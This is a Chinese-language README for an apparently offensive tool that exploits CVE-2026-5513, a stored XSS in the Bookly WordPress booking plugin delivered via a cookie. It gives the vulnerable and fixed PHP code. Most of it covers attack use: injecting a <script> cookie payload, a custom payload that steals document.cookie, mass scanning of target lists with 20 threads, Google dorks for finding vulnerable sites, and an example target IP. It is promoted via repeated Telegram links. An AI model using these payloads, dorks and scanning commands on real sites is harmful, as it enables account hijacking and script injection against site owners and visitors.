CVE-2026-5513 — Bookly ≤ 27.2 存储型XSS via Cookie CVE-2026-5513 — Bookly ≤ 27.2 存储型XSS via Cookie
CVE CVSS 类型 认证
https://t.me/FreeToolsCpa CVE 文件在群组
概述
字段 值 CVE ID CVE-2026-5513 漏洞类型 存储型跨站脚本(XSS) 插件 Bookly — 在线预约和预约管理系统 受影响版本 ≤ 27.2 修复版本 27.3+ CVSS 3.1 7.2(高危) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N CWE CWE-79 是否需要认证 无 前置条件 必须在Cookie中记住个人信息已启用(默认禁用)
描述
WordPress的Bookly插件在版本27.2及以下版本中,存在通过bookly-customer-full-name Cookie导致的存储型跨站脚本漏洞,原因是输入清洗和输出转义不足。
当"记住个人信息到Cookie"设置启用时,插件会读取bookly-customer-full-name Cookie值,并直接将其渲染到预约表单的HTML中,未进行适当的转义。未认证的攻击者可以通过此Cookie注入任意JavaScript载荷,当任何用户(包括管理员)访问包含Bookly预约表单的页面时,载荷就会执行。
攻击流程
攻击者 → 设置恶意Cookie(bookly-customer-full-name=<script>...</script>)
→ 访问包含Bookly预约表单的页面
→ 插件读取Cookie,未转义直接渲染值
→ XSS载荷在受害者浏览器上下文中执行
根因
// 存在漏洞 — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // 无清洗
echo '<input type="text" value="' . $full_name . '" />'; // 无转义
// 已修复 — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
功能特性
✓ 自动IP/域名探测(HTTP/HTTPS、常见端口、重定向检测) ✓ WordPress及Bookly插件检测并版本检查 ✓ Cookie设置检测(BooklyL10n JS分析 + 回显反射测试) ✓ 多上下文XSS测试(HTML、JavaScript、属性注入) ✓ 载荷注入并验证反射 ✓ 单目标或文件批量扫描 ✓ 多线程扫描(最多20线程) ✓ 代理支持(Burp等) ✓ 自动保存漏洞结果 ✓ 交互菜单+命令行模式
安装
pip install requests colorama
用法
命令行模式
# 检查单个目标
python CVE-2026-5513.py -u https://target.com -v
# 检查单个IP(自动探测端口+重定向)
python CVE-2026-5513.py -u 167.99.0.203 -v
# 检查并注入XSS载荷
python CVE-2026-5513.py -u https://target.com --inject -v
# 自定义XSS载荷
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# 批量扫描文件
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# 使用Burp代理
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
交互模式
python CVE-2026-5513.py
选项
目标格式
工具接受以下格式用于 -u 或目标列表文件:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
对于裸IP,工具自动执行:
利用链
STEP 0 → 探测目标(IP/域名 → 解析基础URL,检测重定向)
STEP 1 → 检测Bookly插件(readme.txt、插件目录、资源、版本检查)
STEP 2 → 检查Cookie设置(BooklyL10n JS分析 + 回显反射测试)
STEP 3 → 测试XSS反射(HTML上下文、JS上下文、属性上下文)
STEP 4 → 注入载荷(若使用 --inject 模式,验证反射)
Google Dorks
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
修复建议
| 优先级 | 操作 |
|---|---|
| 🔴 | 将Bookly更新至27.3+版本 |
| 🟡 | 在Bookly设置 → 常规中禁用"记住个人信息到Cookie" |
| 🟢 | 部署WAF规则以过滤Cookie值中的XSS |
| 🟢 | 实施内容安全策略(CSP)头 |
参考资料
免责声明
此工具仅用于授权安全测试和教育目的。未经授权访问计算机系统是违法的。测试前请务必获得适当授权。作者对任何滥用此工具的行为不承担责任。
https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa
| 参数 | 描述 |
|---|
| -u URL | 单个目标(URL、域名或IP) |
| -l FILE | 目标列表文件(每行一个) |
| --inject | 注入XSS载荷(默认仅检查) |
| --payload STR | 自定义XSS载荷 |
| -t N | 线程数(默认10,最大20) |
| --proxy URL | HTTP代理(如 http://127.0.0.1:8080) |
| -o FILE | 保存结果到文件 |
| -v | 详细输出 |